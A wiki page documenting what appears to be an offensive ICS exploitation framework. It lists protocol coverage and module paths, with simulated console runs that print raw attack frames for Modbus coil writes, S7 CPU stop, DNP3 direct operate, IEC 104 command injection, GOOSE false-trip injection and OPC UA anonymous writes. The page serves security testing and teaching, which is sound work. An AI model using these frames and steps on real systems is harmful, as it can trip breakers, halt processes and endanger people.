Skip to content

Navigation Menu

Sign in
Sign up

Protocols and Vendors

Andre Henrique edited this page Jun 1, 2026 · 3 revisions

Protocols & Vendors

IXF covers 50+ industrial protocols and 150+ OT/ICS vendors worldwide with scan, check, security assessment, and exploit modules. This document is the complete reference for protocol coverage, IXF module paths, and vendor coverage by region.


protocols Command — Full Output

ixf > protocols
 IXF Protocol Coverage (50 protocols)
 ═══════════════════════════════════════════════════════════════════════════
 # Protocol Port(s) Type Region/Usage
 ─────────────────────────────────────────────────────────────────────────
 01 Modbus TCP 502/TCP App Global — PLCs, SCADA
 02 Modbus RTU Serial/gateway App Serial devices
 03 Siemens S7comm 102/TCP App Siemens S7-200/300/400
 04 Siemens S7comm+ 102/TCP App Siemens S7-1200/1500 TLS
 05 EtherNet/IP (CIP) 44818/TCP+UDP App Rockwell, Omron
 06 PROFINET DCP L2 Broadcast L2 Siemens, Beckhoff, WAGO
 07 DNP3 20000/TCP+UDP App Power, water, oil & gas
 08 BACnet/IP 47808/UDP App Building automation
 09 BACnet/MSTP Serial/gateway App Building serial networks
 10 IEC 60870-5-104 2404/TCP App Power grid RTUs
 11 IEC 61850 MMS 102/TCP App Substations, relays
 12 IEC 61850 GOOSE L2 Multicast L2 Protection relay interlocks
 13 OPC UA 4840/TCP App Cross-platform IIoT
 14 OPC DA (DCOM) 135/TCP App Legacy Windows SCADA
 15 OPC HDA 135/TCP App Historical data access
 16 OPC A&E 135/TCP App Alarms & events
 17 Omron FINS 9600/UDP App Omron CS/CJ/NJ series
 18 Unitronics PCOM 20256/TCP App Vision/Unistream PLCs
 19 Beckhoff ADS/AMS 48898/TCP App TwinCAT runtime
 20 MQTT 1883/TCP App IIoT messaging brokers
 21 SNMP 161/UDP App Network management
 22 PROFIBUS DP 1962/TCP(gw) App Siemens, Beckhoff
 23 PROFIBUS PA 1962/TCP(gw) App Process instrumentation
 24 HART 5094/TCP (HART-IP) App Field instruments
 25 CANopen 4001/TCP(gw) App Machine control
 26 CC-Link 61450/UDP App Mitsubishi networks
 27 CC-Link IE Field 61450/UDP App Mitsubishi advanced
 28 EtherCAT L2 L2 Beckhoff, Omron
 29 EtherNet/POWERLINK L2 L2 B&R, Keba
 30 SERCOS III 8008/TCP App CNC/robotics motion
 31 IO-Link Serial/gateway App Smart sensors/actuators
 32 INTERBUS 1962/TCP(gw) App Phoenix Contact
 33 ControlNet 44818/TCP App Rockwell legacy
 34 DeviceNet 44818/TCP App Rockwell CAN-based
 35 PCCC 44818/TCP App Allen-Bradley SLC-500
 36 FL-NET (OPCN-2) 7000/UDP App Fuji Electric/JTEKT
 37 CompoNet 9600/TCP(gw) App Omron
 38 Yokogawa Vnet/IP 20111/TCP App Yokogawa CENTUM DCS
 39 FOUNDATION Fieldbus H1 1089/TCP (HSE) App Emerson, ABB
 40 FOUNDATION Fieldbus HSE 1089/TCP App FF high-speed network
 41 LonWorks/LonTalk 1628/UDP App Building automation
 42 KNX/EIB 3671/UDP App Building automation
 43 CIP Safety 44818/TCP App Rockwell GuardLogix
 44 PROFIsafe 502 layer App PROFIBUS safety layer
 45 FSoE (Fail-Safe over EtherCAT) L2 L2 Beckhoff TwinSAFE
 46 SECS/GEM (HSMS) 5000/TCP App Semiconductor fabs
 47 Serial-to-Ethernet 4001/TCP App Moxa NPort, Lantronix
 48 SNMP OT 161/UDP App OT device management
 49 DNP3 Security Auth (SAv5) 20000/TCP App SAv5 implementation
 50 OPC UA Security 4840/TCP App SecurityMode audit
 ═══════════════════════════════════════════════════════════════════════════

Protocol Reference Table — All 50 Protocols

# Protocol IEC/IEEE Standard Default Port(s) Protocol Type Use in OT IXF Module Paths Example Use Case
1 Modbus TCP Modbus Specification 502/TCP Application SCADA/PLC communication exploits/protocols/modbus/, scanners/ics/modbus_detect, scanners/ics/modbus_scanner Read/write registers on Schneider Modicon
2 Modbus RTU Modbus Specification Serial (RS-232/485) Serial Field devices via serial gateways exploits/protocols/modbus/modbus_client RTU device enumeration via Moxa gateway
3 Siemens S7comm Siemens proprietary 102/TCP (TSAP) Application Siemens S7-200/300/400 programming exploits/protocols/s7comm/ S7-300 PLC stop command injection
4 Siemens S7comm+ Siemens proprietary (TLS) 102/TCP Application Siemens S7-1200/1500 (TLS-protected) exploits/protocols/s7comm_plus/, cve/siemens/cve_2021_22681* CVE-2021-22681 hardcoded key MitM
5 EtherNet/IP (CIP) ODVA EIP Vol 1/2 44818/TCP, 2222/UDP Application Rockwell ControlLogix, Omron NJ exploits/protocols/enip/, scanners/ics/enip_scanner CIP tag enumeration on ControlLogix
6 PROFINET DCP IEC 61158-5-10 L2 Broadcast (0x8892) L2 Ethernet Siemens, Beckhoff, WAGO device discovery exploits/protocols/profinet/, scanners/ics/profinet_dcp_scanner DCP Identify flood causing device reset
7 DNP3 IEEE 1815-2012 20000/TCP, 20000/UDP Application Power grid RTUs, water SCADA exploits/protocols/dnp3/, scanners/ics/dnp3_scanner, assessment/protocols/dnp3_security_audit Unauthorized DIRECT OPERATE to open breaker
8 BACnet/IP ASHRAE 135-2020 47808/UDP Application HVAC, lighting, fire safety automation exploits/protocols/bacnet/, scanners/ics/bacnet_scanner BACnet Who-Is broadcast reconnaissance
9 BACnet/MSTP ASHRAE 135-2020 Serial/gateway Serial Building RS-485 field bus networks exploits/protocols/bacnet_mstp/ MSTP token ring disruption via gateway
10 IEC 60870-5-104 IEC 60870-5-104:2006 2404/TCP Application Power grid RTUs, substation control exploits/protocols/iec104/, scanners/ics/iec104_scanner ASDU EXEC command to trip circuit breaker
11 IEC 61850 MMS IEC 61850-8-1 102/TCP (MMS over COTP) Application Substation automation, protection relays exploits/protocols/iec61850/, assessment/protocols/iec61850_security_audit Unauthenticated GOOSE trip command
12 IEC 61850 GOOSE IEC 61850-8-1 GOOSE L2 Multicast L2 Ethernet Protection relay fast-trip interlocks exploits/protocols/iec61850/goose_injection Forged GOOSE trip message causing false trip
13 OPC UA IEC 62541 4840/TCP Application Cross-vendor industrial IoT, historian exploits/protocols/opcua/, scanners/ics/opcua_scanner, assessment/protocols/opcua_security_audit SecurityMode=None anonymous read/write
14 OPC DA (DCOM) Microsoft DCOM/COM 135/TCP (DCOM) Application Legacy Windows-based SCADA servers exploits/protocols/opc_da/ DCOM enumeration, OPC server tag listing
15 OPC HDA OPC Foundation 135/TCP (DCOM) Application Historical process data access exploits/protocols/opc_hda/ Unauthorized historian tag read
16 OPC A&E OPC Foundation 135/TCP (DCOM) Application Alarm and event subscriptions exploits/protocols/opc_ae/ OPC A&E alarm suppression
17 Omron FINS Omron proprietary 9600/UDP, 9600/TCP Application Omron CS/CJ/NJ/NX PLCs exploits/protocols/fins/, scanners/ics/omron_fins_scanner FINS command to read memory area D0000
18 Unitronics PCOM Unitronics proprietary 20256/TCP Application Vision and Unistream series PLCs exploits/protocols/pcom/, scanners/ics/pcom_scanner PCOM info frame leaks version and config
19 Beckhoff ADS/AMS Beckhoff proprietary 48898/TCP Application TwinCAT 2/3 runtime, CX modules exploits/protocols/ads/, scanners/ics/ads_scanner ADS read/write to TwinCAT runtime variables
20 MQTT OASIS MQTT 3.1.1/5.0 1883/TCP, 8883/TLS Application IIoT sensor data, cloud gateways exploits/protocols/mqtt/, scanners/ics/mqtt_scanner Unauthenticated MQTT broker topic subscribe
21 SNMP RFC 1157/3411 161/UDP Application Network device management exploits/protocols/snmp/, scanners/ics/snmp_ot_scanner SNMP community string bruteforce
22 PROFIBUS DP IEC 61158-3-3 1962/TCP (via gateway) Fieldbus Siemens, Beckhoff field devices exploits/protocols/profibus/, scanners/ics/profibus_scanner PROFIBUS DP parameter read via Anybus gateway
23 PROFIBUS PA IEC 61158-2 / PROFIBUS PA 1962/TCP (gw) Fieldbus Process instrumentation (hazardous areas) exploits/protocols/profibus_pa/ PA device IDENT block manipulation
24 HART HART Communication Foundation 5094/TCP (HART-IP) Application 4-20mA transmitters, smart field devices exploits/protocols/hart/, scanners/ics/hart_ip_scanner HART device configuration read via HART-IP
25 CANopen CiA DS-301 4001/TCP (via gateway) Fieldbus Machine control, robotics exploits/protocols/canopen/, scanners/ics/canopen_scanner NMT command to stop CANopen slave
26 CC-Link Mitsubishi proprietary 61450/UDP Fieldbus Mitsubishi MELSEC networks exploits/protocols/cc_link/, scanners/ics/cc_link_scanner CC-Link cyclic scan disruption
27 CC-Link IE Field Mitsubishi proprietary 61450/UDP Fieldbus Mitsubishi high-speed Ethernet exploits/protocols/cc_link_ie_field/ IE Field token disruption
28 EtherCAT IEC 61158-12 L2 Ethernet L2 High-speed motion control (Beckhoff, Omron) exploits/protocols/ethercat/ EtherCAT broadcast storm disruption
29 EtherNet/POWERLINK IEC 61158-10 L2 Ethernet L2 B&R APROL, Keba systems exploits/protocols/powerlink/ POWERLINK SoC frame injection
30 SERCOS III IEC 61784-1 8008/TCP Application CNC and robotics motion networks exploits/protocols/sercos/ SERCOS ring disruption
31 IO-Link IEC 61131-9 Serial / IO-Link master Serial Smart sensor/actuator interface exploits/protocols/iolink/ IO-Link device parameter read/write
32 INTERBUS IEC 61158-6-8 1962/TCP (gw) Fieldbus Phoenix Contact automation exploits/protocols/interbus/ INTERBUS CMD parameter manipulation
33 ControlNet ODVA ControlNet 44818/TCP Fieldbus Rockwell legacy scheduled networks exploits/protocols/controlnet/ ControlNet unscheduled message injection
34 DeviceNet ODVA DeviceNet 44818/TCP Fieldbus Rockwell CAN-based device network exploits/protocols/devicenet/ DeviceNet UCMM request to read EDS
35 PCCC Allen-Bradley proprietary 44818/TCP Application Allen-Bradley SLC-500, PLC-5 exploits/protocols/pccc/ PCCC typed logical read/write
36 FL-NET (OPCN-2) JEMA FL-NET 7000/UDP Fieldbus Fuji Electric, JTEKT (Japan factory) exploits/protocols/fl_net/, scanners/ics/fl_net_scanner FL-NET token arbitration disruption
37 CompoNet Omron CompoNet 9600/TCP (gw) Fieldbus Omron CompoNet sensor/actuator networks exploits/protocols/componet/ CompoNet output bit forced ON
38 Yokogawa Vnet/IP Yokogawa proprietary 20111/TCP Application Yokogawa CENTUM VP DCS exploits/protocols/vnetip/, scanners/ics/vnetip_scanner Vnet/IP engineering function call
39 FOUNDATION Fieldbus H1 IEC 61158-2 FF 1089/TCP (HSE) Fieldbus Emerson DeltaV, ABB 800xA (hazardous areas) exploits/protocols/foundation_fieldbus/ FF H1 function block parameter write
40 FOUNDATION Fieldbus HSE IEC 61158 FF-HSE 1089/TCP Application FF high-speed Ethernet backbone exploits/protocols/foundation_fieldbus/ HSE subnet device enumeration
41 LonWorks/LonTalk ANSI/CEA-709 1628/UDP Application Building automation, street lighting exploits/protocols/lonworks/, scanners/ics/lonworks_scanner LonWorks device wink command broadcast
42 KNX/EIB EN 50090 / ISO 22510 3671/UDP (KNXnet/IP) Application European building automation (lighting, HVAC) exploits/protocols/knx/, scanners/ics/knx_scanner KNX group write to toggle lighting
43 CIP Safety ODVA CIP Safety 44818/TCP Application Rockwell GuardLogix safety PLCs exploits/protocols/ethernet_ip_cip_safety/ CIP Safety OUNID spoofing attempt
44 PROFIsafe IEC 61800-5-2 PROFIBUS/PROFINET layer Application Siemens PROFIBUS/PROFINET safety exploits/protocols/profisafe/ PROFIsafe CRC bypass probe
45 FSoE IEC 61784-3-12 EtherCAT L2 L2 Beckhoff TwinSAFE safety modules exploits/protocols/fsoe/ FSoE watchdog suppression
46 SECS/GEM (HSMS) SEMI E5/E30/E37 5000/TCP Application Semiconductor fab equipment interfaces exploits/protocols/hsms/, scanners/ics/hsms_scanner HSMS S1F1 host/equipment info request
47 Serial-to-Ethernet N/A (device-specific) 4001/TCP Application Moxa NPort, Lantronix serial tunneling exploits/protocols/serial/, scanners/ics/serial_to_ethernet_scanner Unauthenticated web console on Moxa NPort
48 SNMP OT RFC 1157 + MIB-II 161/UDP Application OT device management, switch enumeration exploits/protocols/snmp/, scanners/ics/snmp_ot_scanner Public community string read of OT MIBs
49 DNP3 Secure Auth v5 IEEE 1815-2012 SAv5 20000/TCP Application DNP3 SAv5 challenge-response verification assessment/protocols/dnp3_security_audit SAv5 enabled/disabled detection
50 OPC UA Security IEC 62541-7 4840/TCP Application OPC UA certificate and auth audit assessment/protocols/opcua_security_audit SecurityMode=None detection, anon browse test

Top 20 Protocol Detailed Reference

1. Modbus TCP

Description: Modbus is the most widely deployed industrial communication protocol globally. Originally developed by Modicon in 1979 for serial communication over RS-232, Modbus TCP wraps the Modbus Application Protocol (MBAP) over standard TCP/IP. It is completely unauthenticated by design — any host on the network can read or write coils, registers, and discrete inputs.

History: The protocol predates OT cybersecurity concerns by decades. There is no authentication, encryption, or integrity protection in the base specification. Extensions such as Modbus Security (RFC 8605) exist but are rarely deployed.

Security Issues:

  • No authentication — any client can read/write any register
  • No encryption — all data transmitted in plaintext
  • No integrity protection — replay and injection attacks are trivial
  • Function code 8 (Diagnostics) can restart devices
  • FC43 (MEI) leaks device identification (vendor, product, firmware)

IXF Modules:

Module Purpose
scanners/ics/modbus_detect Detect Modbus TCP devices (FC4 probe)
scanners/ics/modbus_scanner Scan CIDR range for Modbus devices
exploits/protocols/modbus/modbus_client Full Modbus client (read/write any FC)
exploits/protocols/modbus/modbus_unauthorized_coil_set Write arbitrary coil values
exploits/protocols/modbus/modbus_write_coil_flood Rapid coil write flood
exploits/protocols/modbus/modbus_replay_attack Replay captured Modbus frames

Example Usage:

ixf > use exploits/protocols/modbus/modbus_unauthorized_coil_set
[*] Module loaded: Modbus TCP Unauthorized Coil Set
[*] CVE: N/A | CVSS: N/A | Impact: HIGH
ixf (Modbus TCP Unauthorized Coil Set) > show options
 +──────────────────+──────────+──────────+────────────────────────────────────────────+
 | Option | Value | Required | Description |
 +──────────────────+──────────+──────────+────────────────────────────────────────────+
 | target | | yes | Target IP or hostname |
 | port | 502 | no | Modbus TCP port |
 | unit_id | 1 | no | Modbus unit/slave ID (1-247) |
 | coil_addr | 0 | no | Starting coil address (0-based) |
 | coil_value | 1 | no | Coil value to write (0=OFF, 1=ON) |
 | count | 1 | no | Number of coils to write |
 | timeout | 5 | no | Connection timeout |
 | simulate | True | no | Simulate mode |
 | destructive | False | no | Enable live coil write |
 +──────────────────+──────────+──────────+────────────────────────────────────────────+
ixf (Modbus TCP Unauthorized Coil Set) > set target 192.168.1.100
[*] target => 192.168.1.100
ixf (Modbus TCP Unauthorized Coil Set) > set coil_addr 0
[*] coil_addr => 0
ixf (Modbus TCP Unauthorized Coil Set) > set coil_value 1
[*] coil_value => 1
ixf (Modbus TCP Unauthorized Coil Set) > run
 [SIMULATE MODE — no packets sent]
 ═══════════════════════════════════════════════════════════════════════════
 Module: Modbus TCP Unauthorized Coil Set
 Target: 192.168.1.100:502 Unit ID: 1
 Step 1: Connect TCP to 192.168.1.100:502
 Step 2: Send Write Single Coil (FC05) request:
 MBAP: 00 01 00 00 00 06 01
 PDU: 05 00 00 FF 00 (coil addr=0, value=0xFF00=ON)
 Full frame (hex): 00 01 00 00 00 06 01 05 00 00 FF 00
 Step 3: Verify echo response (FC05 echo)
 Step 4: Coil 0 at unit 1 set to ON
 [i] Physical consequence: Digital output DO0 driven HIGH
 Depending on the wired device, this may activate a relay, valve, motor, or alarm.
 [i] MITRE ATT&CK for ICS: T0855 (Unauthorized Command Message)
 [i] To run live: set simulate false + set destructive true
ixf (Modbus TCP Unauthorized Coil Set) > check
[*] Checking 192.168.1.100:502...
[+] REACHABLE — TCP 502 open
[+] MODBUS DEVICE DETECTED — FC4 response received, Transaction ID echoed
[+] Unit ID 1 responded. FC4 Input Register[0] = 0x0043

2. Siemens S7comm

Description: S7comm is Siemens' proprietary protocol for communication between TIA Portal, STEP 7, and S7-200/300/400/1500 PLCs over ISO-on-TCP (port 102). The protocol uses TPKT and COTP transport layers. S7comm (the original variant for S7-300/400) has no authentication or encryption. S7comm+ (for S7-1200/1500) adds TLS but uses a hardcoded global private key (CVE-2021-22681).

Security Issues:

  • S7comm: no authentication, no encryption, full read/write access
  • S7comm+: TLS with hardcoded key — decryptable by any attacker (CVE-2021-22681)
  • CPU START/STOP commands require no credentials
  • Program upload/download unauthenticated on older firmware
  • FC43 (MEI equivalent) leaks firmware version and hardware info

IXF Modules:

Module Purpose
scanners/ics/s7_comm_scanner Detect S7 PLCs (COTP/S7 probe)
exploits/protocols/s7comm/s7_cpu_stop Send S7 CPU STOP command
exploits/protocols/s7comm/s7_program_download Write modified PLC program
exploits/protocols/s7comm/s7_read_memory Read PLC data areas (DB, MB, QB)
exploits/protocols/s7comm_plus/s7plus_mitm MitM exploit using CVE-2021-22681 key
cve/siemens/cve_2021_22681_s7_1200_hardcoded_key Full CVE-2021-22681 exploit

Example Usage:

ixf > use exploits/protocols/s7comm/s7_cpu_stop
[*] Module loaded: Siemens S7comm CPU Stop Command
[*] CVE: N/A | CVSS: N/A | Impact: HIGH
ixf (Siemens S7comm CPU Stop Command) > show options
 +──────────────────+──────────+──────────+────────────────────────────────────────────+
 | Option | Value | Required | Description |
 +──────────────────+──────────+──────────+────────────────────────────────────────────+
 | target | | yes | Target S7 PLC IP |
 | port | 102 | no | S7comm TCP port (TSAP) |
 | rack | 0 | no | PLC rack number |
 | slot | 1 | no | PLC slot number (1=S7-300, 2=S7-1200/1500) |
 | simulate | True | no | Simulate mode |
 | destructive | False | no | Enable live CPU STOP |
 +──────────────────+──────────+──────────+────────────────────────────────────────────+
ixf (Siemens S7comm CPU Stop Command) > set target 192.168.1.55
[*] target => 192.168.1.55
ixf (Siemens S7comm CPU Stop Command) > run
 [SIMULATE MODE — no packets sent]
 ═══════════════════════════════════════════════════════════════════════════
 Module: Siemens S7comm CPU Stop Command
 Target: 192.168.1.55:102 Rack: 0 Slot: 1
 Step 1: Establish ISO-on-TCP connection (TPKT + COTP CR)
 Step 2: Send S7comm Setup Communication PDU (negotiation)
 Step 3: Send S7comm CPU Control — STOP command:
 TPKT: 03 00 00 21
 COTP: 02 F0 80
 S7: 32 01 00 00 00 00 00 10 00 00 28 00 00 00 00 00
 00 FD 00 00 09 50 5F 50 52 4F 47 52 41 4D
 Step 4: S7 CPU transitions to STOP state; RUN LED turns RED
 Step 5: All controlled outputs go to safe-state (configurable)
 [i] Physical consequence: PLC program execution halts immediately.
 All digital outputs de-energize or hold last value depending on OB86 config.
 Process controlled by this PLC stops.
 [i] MITRE ATT&CK for ICS: T0881 (Service Stop), T0803 (Block Control Command)
 [i] To run live: set simulate false + set destructive true

3. EtherNet/IP (CIP)

Description: EtherNet/IP (Ethernet Industrial Protocol) carries the Common Industrial Protocol (CIP) over standard TCP/UDP. It is the dominant protocol in North American manufacturing, used by Rockwell Allen-Bradley ControlLogix, CompactLogix, and GuardLogix. EtherNet/IP uses port 44818 (TCP for explicit messages, UDP for implicit I/O). CIP allows tag enumeration, read/write of PLC tags by name, and firmware downloads.

Security Issues:

  • CIP does not require authentication for tag reads/writes in basic mode
  • The Identity Object (Class 0x01) is always readable — leaks model, vendor, firmware
  • Unregistered sessions can still enumerate tags in some firmware versions
  • Forward Open requests can establish implicit I/O connections without auth
  • CIP Safety (GuardLogix) has OUNID spoofing risks

Example Usage:

ixf > use scanners/ics/enip_scanner
[*] Module loaded: EtherNet/IP CIP Scanner
ixf (EtherNet/IP CIP Scanner) > show options
 +──────────────────+──────────+──────────+────────────────────────────────────────────+
 | Option | Value | Required | Description |
 +──────────────────+──────────+──────────+────────────────────────────────────────────+
 | target | | yes | Target IP or CIDR range |
 | port | 44818 | no | EtherNet/IP TCP port |
 | udp_broadcast | True | no | Use UDP broadcast for discovery |
 | timeout | 5 | no | Connection timeout |
 | simulate | True | no | Simulate mode |
 +──────────────────+──────────+──────────+────────────────────────────────────────────+
ixf (EtherNet/IP CIP Scanner) > set target 192.168.1.0/24
[*] target => 192.168.1.0/24
ixf (EtherNet/IP CIP Scanner) > run
 [SIMULATE MODE — no packets sent]
 Module: EtherNet/IP CIP Scanner
 Target: 192.168.1.0/24
 Step 1: Send EtherNet/IP List Identity request (UDP port 44818 broadcast)
 Step 2: Collect List Identity responses:
 - Vendor ID (0x01 = Rockwell Automation)
 - Product Type (0x0E = Programmable Controller)
 - Product Code, Revision, Serial Number
 - Product Name (e.g., "1756-L85E/A ControlLogix5585E")
 Step 3: For each responding device, enumerate CIP Class 1 (Identity Object)
 Step 4: Report vendor, product, firmware revision for each host
 [i] MITRE ATT&CK for ICS: T0888 (Remote System Information Discovery)

4. DNP3

Description: DNP3 (Distributed Network Protocol 3) is widely used in electric utilities (power grid RTUs, substations) and water/wastewater SCADA systems. Defined in IEEE 1815-2012. DNP3 has a DIRECT OPERATE (DO) function that can directly control field devices — breakers, valves, pumps — without a handshake. DNP3 Secure Authentication version 5 (SAv5) was added in 2012 but deployment remains limited.

Security Issues:

  • DIRECT OPERATE commands require no authentication in base DNP3
  • SELECT BEFORE OPERATE can be replayed without SAv5
  • No encryption — all SCADA data (setpoints, alarms, events) in plaintext
  • SAv5 implementation varies widely; many RTUs claim SAv5 support but have gaps
  • Sequence number rollover can enable replay attacks

Example Usage:

ixf > use exploits/protocols/dnp3/dnp3_direct_operate
[*] Module loaded: DNP3 DIRECT OPERATE Binary Output
[*] CVE: N/A | CVSS: N/A | Impact: CRITICAL
ixf (DNP3 DIRECT OPERATE Binary Output) > show options
 +──────────────────+──────────────+──────────+──────────────────────────────────────────+
 | Option | Value | Required | Description |
 +──────────────────+──────────────+──────────+──────────────────────────────────────────+
 | target | | yes | Target DNP3 outstation IP |
 | port | 20000 | no | DNP3 TCP port (default: 20000) |
 | master_addr | 1 | no | DNP3 master address |
 | outstation_addr | 10 | no | DNP3 outstation address |
 | obj_group | 12 | no | CROB group (12=Binary Output Cmd Block) |
 | obj_var | 1 | no | CROB variation |
 | point_index | 0 | no | Binary output point index |
 | trip_close | LATCH_ON | no | Operation type: LATCH_ON/LATCH_OFF/PULSE |
 | simulate | True | no | Simulate mode |
 | destructive | False | no | Enable live command |
 +──────────────────+──────────────+──────────+──────────────────────────────────────────+
ixf (DNP3 DIRECT OPERATE Binary Output) > set target 10.0.0.101
[*] target => 10.0.0.101
ixf (DNP3 DIRECT OPERATE Binary Output) > set outstation_addr 10
[*] outstation_addr => 10
ixf (DNP3 DIRECT OPERATE Binary Output) > run
 [SIMULATE MODE — no packets sent]
 Module: DNP3 DIRECT OPERATE Binary Output
 Target: 10.0.0.101:20000
 Master: 1 Outstation: 10 Point: 0 Op: LATCH_ON
 Step 1: Connect TCP to 10.0.0.101:20000
 Step 2: Build DNP3 Application Layer DIRECT OPERATE:
 Link Frame: 05 64 XX XX 0A 00 01 00
 App Header: C0 03 (Confirm=1, FC=03 DIRECT_OPERATE)
 Obj Header: 0C 01 28 01 00 00 00
 CROB: 03 01 00 00 00 00 01 00 00 00 00 00
 (LATCH_ON, count=1, on_time=100ms, off_time=100ms)
 Step 3: Send to outstation
 Step 4: Binary output point 0 activates (relay closes, circuit energizes)
 [i] Physical consequence: Binary output 0 drives HIGH.
 In power grid: trips or closes a circuit breaker.
 In water: activates a pump or opens a valve.
 [i] MITRE ATT&CK for ICS: T0855 (Unauthorized Command Message)
 [i] MITRE ATT&CK for ICS: T0803 (Block Control Command)

5. BACnet/IP

Description: BACnet (Building Automation and Control network) is the dominant protocol in building automation: HVAC, lighting, fire safety, access control, and energy management. BACnet/IP runs over UDP port 47808. The Who-Is/I-Am service is a broadcast service for device discovery. BACnet has no authentication in the base standard. BACnet/SC (Secure Connect) adds TLS but adoption is recent.

Example Usage:

ixf > use scanners/ics/bacnet_scanner
[*] Module loaded: BACnet/IP Device Scanner
ixf (BACnet/IP Device Scanner) > set target 192.168.1.0/24
[*] target => 192.168.1.0/24
ixf (BACnet/IP Device Scanner) > run
 [SIMULATE MODE — no packets sent]
 Module: BACnet/IP Device Scanner
 Target: 192.168.1.0/24
 Step 1: Send BACnet/IP Who-Is broadcast (UDP 47808)
 BVLC Header: 81 0B 00 0C
 NPDU: 01 20 FF FF 00 FF
 APDU: 10 08 (Unconfirmed Who-Is, all devices)
 Step 2: Collect I-Am responses:
 - Device Instance ID
 - Max APDU length
 - Segmentation support
 - Vendor ID
 Step 3: For each device, send ReadProperty to Device Object:
 - Object Name (device name / building zone)
 - Vendor Name
 - Model Name
 - Application Software Version
 - Protocol Version
 Step 4: Build device inventory report
 [i] MITRE ATT&CK for ICS: T0888 (Remote System Information Discovery)
 [i] BACnet devices found on typical building networks: thermostats, AHUs,
 lighting controllers, fire panels, elevators, energy meters

6. IEC 60870-5-104

Description: IEC 104 (IEC 60870-5-104) is the TCP/IP variant of IEC 60870-5-101, used for power grid SCADA: control centers communicating with remote terminal units (RTUs) in substations and distribution networks. The protocol carries ASDU (Application Service Data Units) that can send control commands (ASDU type 45/46/47/48 — single/double point commands, step commands) to field devices.

Example Usage:

ixf > use exploits/protocols/iec104/iec104_command_injection
[*] Module loaded: IEC 60870-5-104 ASDU Command Injection
[*] CVE: N/A | CVSS: N/A | Impact: CRITICAL
ixf (IEC 60870-5-104 ASDU Command Injection) > set target 10.10.0.20
[*] target => 10.10.0.20
ixf (IEC 60870-5-104 ASDU Command Injection) > run
 [SIMULATE MODE — no packets sent]
 Module: IEC 60870-5-104 ASDU Command Injection
 Target: 10.10.0.20:2404
 Step 1: Establish TCP connection to 10.10.0.20:2404
 Step 2: Send STARTDT (Start Data Transfer) U-frame
 Frame: 68 04 07 00 00 00
 Step 3: Wait for STARTDT_CON acknowledgment
 Step 4: Send I-frame with ASDU type 46 (Double Point Command):
 APCI: 68 13 [Send Sequence Number] [Recv Seq Number]
 ASDU: 2E 01 07 00 01 00 02 00 03
 TypeID=0x2E (46), SQ=0, COT=6 (Activation),
 CA=1, IOA=3 (Object Address 3), DCS=02 (ON)
 Step 5: RTU executes command: double-point output 3 set to ON
 [i] Physical: Open/close breaker, trip protection relay, activate SCADA actuator
 [i] MITRE ATT&CK for ICS: T0855 (Unauthorized Command Message)

7. IEC 61850 / GOOSE

Description: IEC 61850 is the standard for substation communication and automation. It covers MMS (Manufacturing Message Specification) over TCP/102 for SCADA-to-IED communication, and GOOSE (Generic Object Oriented Substation Event) for peer-to-peer L2 multicast between protection relays. GOOSE is used for fast protection interlocking (under 4ms). GOOSE has no authentication by default — any attacker on the substation LAN can inject false GOOSE trip messages. IEC 62351-6 adds HMAC-SHA256 authentication to GOOSE.

Example Usage:

ixf > use exploits/protocols/iec61850/goose_injection
[*] Module loaded: IEC 61850 GOOSE False Trip Injection
[*] CVE: N/A | CVSS: N/A | Impact: CRITICAL
ixf (IEC 61850 GOOSE False Trip Injection) > show options
 +──────────────────+───────────────────────+──────────+──────────────────────────────+
 | Option | Value | Required | Description |
 +──────────────────+───────────────────────+──────────+──────────────────────────────+
 | interface | eth0 | yes | Network interface (L2) |
 | src_mac | de:ad:be:ef:00:01 | no | Source MAC (spoofed relay) |
 | dst_mac | 01:0c:cd:01:00:01 | no | GOOSE multicast destination |
 | appid | 0x0001 | no | Application ID |
 | gocb_ref | IED1LD0/LLN0$GO$GCB1 | no | GOOSE Control Block Ref |
 | dataset | IED1LD0/LLN0$DS1 | no | Dataset reference |
 | stNum | 1 | no | Status number |
 | sqNum | 0 | no | Sequence number |
 | trip_value | True | no | Trip value (True=TRIP) |
 | simulate | True | no | Simulate mode |
 | destructive | False | no | Enable live L2 injection |
 +──────────────────+───────────────────────+──────────+──────────────────────────────+
ixf (IEC 61850 GOOSE False Trip Injection) > run
 [SIMULATE MODE — no packets sent]
 Module: IEC 61850 GOOSE False Trip Injection
 Interface: eth0
 Step 1: Craft GOOSE PDU:
 EtherType: 0x88B8 (GOOSE)
 APPID: 0x0001
 APDU: GOOSE PDU with stNum=1, sqNum=0, allData=[TRUE]
 Destination: 01:0c:cd:01:00:01 (GOOSE multicast MAC)
 Step 2: Send L2 frame via raw socket on eth0
 Step 3: All listening IEDs subscribed to this GoCB reference
 will interpret the GOOSE as a protection trip signal
 Step 4: Subscribed IEDs execute protection function (trip breaker)
 [i] Physical: False GOOSE trip causes protection relay to trip breaker
 immediately (<4ms). This is indistinguishable from a real protection event.
 [i] MITRE ATT&CK for ICS: T0855 (Unauthorized Command Message)
 [i] Remediation: Deploy IEC 62351-6 HMAC authentication on all GOOSE publishers

8. OPC UA

Description: OPC UA (OPC Unified Architecture) is the modern, cross-platform successor to OPC DA/DCOM. It runs over TCP port 4840 and optionally over HTTPS (4843). OPC UA supports multiple security modes: None (no security), Sign (signed messages), and SignAndEncrypt. Many deployments leave SecurityMode set to None for compatibility, allowing anonymous access to the entire tag namespace.

Example Usage:

ixf > use exploits/protocols/opcua/opcua_anonymous_write
[*] Module loaded: OPC UA Anonymous Write (SecurityMode=None)
ixf (OPC UA Anonymous Write) > set target 192.168.1.200
[*] target => 192.168.1.200
ixf (OPC UA Anonymous Write) > run
 [SIMULATE MODE — no packets sent]
 Module: OPC UA Anonymous Write
 Target: 192.168.1.200:4840
 Step 1: Send OPC UA Hello message (HEL)
 Step 2: Send OPC UA OpenSecureChannel with SecurityMode=None
 Step 3: GetEndpoints — list all server endpoints including None-security
 Step 4: CreateSession with Anonymous identity token
 Step 5: Browse root namespace — list all nodes and tag names
 Step 6: Write to target node: NodeId ns=2;i=1003 (example: Tank Level Setpoint)
 WriteValue: Value=0.0 (drain setpoint)
 [i] MITRE ATT&CK for ICS: T0855 (Unauthorized Command Message), T0802

9. MQTT

Description: MQTT (Message Queuing Telemetry Transport) is widely used in IIoT for lightweight publish/subscribe messaging. Industrial IoT gateways, edge devices, and cloud connectors use MQTT brokers (Mosquitto, EMQX, HiveMQ) on port 1883 (plaintext) or 8883 (TLS). Many deployments run without authentication (allow_anonymous true in mosquitto.conf), exposing all topic data to any subscriber on the network.

Example Usage:

ixf > use exploits/protocols/mqtt/mqtt_anonymous_subscribe
